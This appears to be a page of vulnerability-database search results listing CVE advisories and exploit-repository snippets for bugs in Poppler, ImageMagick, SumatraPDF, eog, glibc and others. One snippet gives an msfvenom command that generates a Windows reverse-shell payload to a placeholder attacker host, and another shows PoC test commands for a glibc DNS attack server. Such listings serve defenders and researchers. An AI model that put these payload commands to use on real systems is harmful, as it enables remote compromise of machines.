396196 matches found
CVE-2026-107705
A flaw was found in Poppler. A stack-based buffer overflow vulnerability exists in the decryption routine when processing encrypted PDF documents. By providing an overly long password during document decryption, an attacker can overwrite memory buffers. This issue primarily leads to a Denial of...
cve-2015-7547-public
PoC attack server for CVE-2015-7547 vulnerability in glibc DNS stub resolver To test on local machine with a vulnerable glibc version: user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf...
DirtyPipe-Exploit
CSE 5380: Information Security Paper CVE-2022-0847 Dirty Pipe By Karan Vasudevamurthy UTA ID: 1002164438 What is CVE? Common Vulnerabilities and Exposures CVE is a list of publicly disclosed information security vulnerabilities and exposures. The MITRE corporation introduced CVE in 1999 to identi...
CVE-2026-105401
A flaw was found in ImageMagick. A connecting client can transmit crafted data to the distributed pixel cache server, triggering a heap buffer overflow that overwrites memory. This issue can crash the server, resulting in a denial of service DoS...
A heap buffer overflow vulnerability in rsyslog impacts AIX
IBM SECURITY ADVISORY First Issued: Thu Oct 8 23:26:42 CDT 2026 The most recent version of this document is available here: http://aix.software.ibm.com/aix/efixes/security/rsyslogadvisory2.asc Security Bulletin: A heap buffer overflow vulnerability in rsyslog impacts AIX...
AZL-107541 CVE-2026-78663 affecting package jx 3.10.182-5
The HTTP/2 server can refund connection-level flow control twice for the same data: Once when a client resets a stream refunding data for any sent-but-unread portion of the stream, and again when a request handler reads the buffered data. A malicious client can exploit this to bypass the configur...
AZL-107427 CVE-2026-78663 affecting package git-lfs 3.6.1-6
The HTTP/2 server can refund connection-level flow control twice for the same data: Once when a client resets a stream refunding data for any sent-but-unread portion of the stream, and again when a request handler reads the buffered data. A malicious client can exploit this to bypass the configur...
CVE-2026-107736
SumatraPDF is a multi-format reader for Windows. In 3.6.1 and earlier, MaybeFlipBitmap asks GDI+ to read the attacker-controlled PropertyTagOrientation size through GetPropertyItem while supplying only a fixed 64-byte buf on the stack. Opening a crafted TIFF with enough EXIF Orientation values ca...
DEBIAN-CVE-2026-107651
A flaw was found in Eye of GNOME eog. A heap-based buffer overflow exists in the PNG metadata reader due to improper state handling when parsing split metadata chunks. A remote attacker could exploit this flaw by enticing a user into opening a specially crafted PNG file, potentially leading to...
CVE-2026-107651
A flaw was found in Eye of GNOME eog. A heap-based buffer overflow exists in the PNG metadata reader due to improper state handling when parsing split metadata chunks. A remote attacker could exploit this flaw by enticing a user into opening a specially crafted PNG file, potentially leading to...
Explotando-FreeFloatFTP-CVE-2025-5548
Exploiting-FreeFloatFTP-CVE-2025-5548 Welcome to my exploit research and development repository. This project documents the full technical analysis, environment setup, and step-by-step exploitation of CVE-2025-5548 Stack-Based Buffer Overflow found in FreeFloat FTP Server. 🌱 Personal note: This...
CVE-2026-78663
The HTTP/2 server can refund connection-level flow control twice for the same data: Once when a client resets a stream refunding data for any sent-but-unread portion of the stream, and again when a request handler reads the buffered data. A malicious client can exploit this to bypass the configur...
CVE-2009-3999
CVE-2009-3999 HP Power Manager 4.2 Build 7 exploit inspired by https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 STEP 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...
CVE-2026-107736 SumatraPDF: stack buffer overflow while processing EXIF Orientation metadata
SumatraPDF is a multi-format reader for Windows. In 3.6.1 and earlier, MaybeFlipBitmap asks GDI+ to read the attacker-controlled PropertyTagOrientation size through GetPropertyItem while supplying only a fixed 64-byte buf on the stack. Opening a crafted TIFF with enough EXIF Orientation values ca...
CVE-2026-107736
SumatraPDF (version 3.6.1 and earlier) on Windows is vulnerable to a stack buffer overflow during the processing of EXIF Orientation metadata. The issue resides in the MaybeFlipBitmap() function, which uses GDI+ to read an attacker-controlled PropertyTagOrientation size via GetPropertyItem() into...
CVE-2026-107736 SumatraPDF: stack buffer overflow while processing EXIF Orientation metadata
SumatraPDF is a multi-format reader for Windows. In 3.6.1 and earlier, MaybeFlipBitmap asks GDI+ to read the attacker-controlled PropertyTagOrientation size through GetPropertyItem while supplying only a fixed 64-byte buf on the stack. Opening a crafted TIFF with enough EXIF Orientation values ca...
CVE-2026-107651 Eog: eog: arbitrary code execution via heap buffer overflow in png metadata reader
A flaw was found in Eye of GNOME eog. A heap-based buffer overflow exists in the PNG metadata reader due to improper state handling when parsing split metadata chunks. A remote attacker could exploit this flaw by enticing a user into opening a specially crafted PNG file, potentially leading to...
CVE-2026-107651
A heap-based buffer overflow exists in Eye of GNOME (eog) within the PNG metadata reader . The vulnerability is caused by improper state handling during the parsing of split metadata chunks. A remote attacker could exploit this by tricking a user into opening a specially crafted PNG file , which ...
CVE-2026-107651
A flaw was found in Eye of GNOME eog. A heap-based buffer overflow exists in the PNG metadata reader due to improper state handling when parsing split metadata chunks. A remote attacker could exploit this flaw by enticing a user into opening a specially crafted PNG file, potentially leading to...
CVE-2026-107651
A flaw was found in Eye of GNOME eog. A heap-based buffer overflow exists in the PNG metadata reader due to improper state handling when parsing split metadata chunks. A remote attacker could exploit this flaw by enticing a user into opening a specially crafted PNG file, potentially leading to...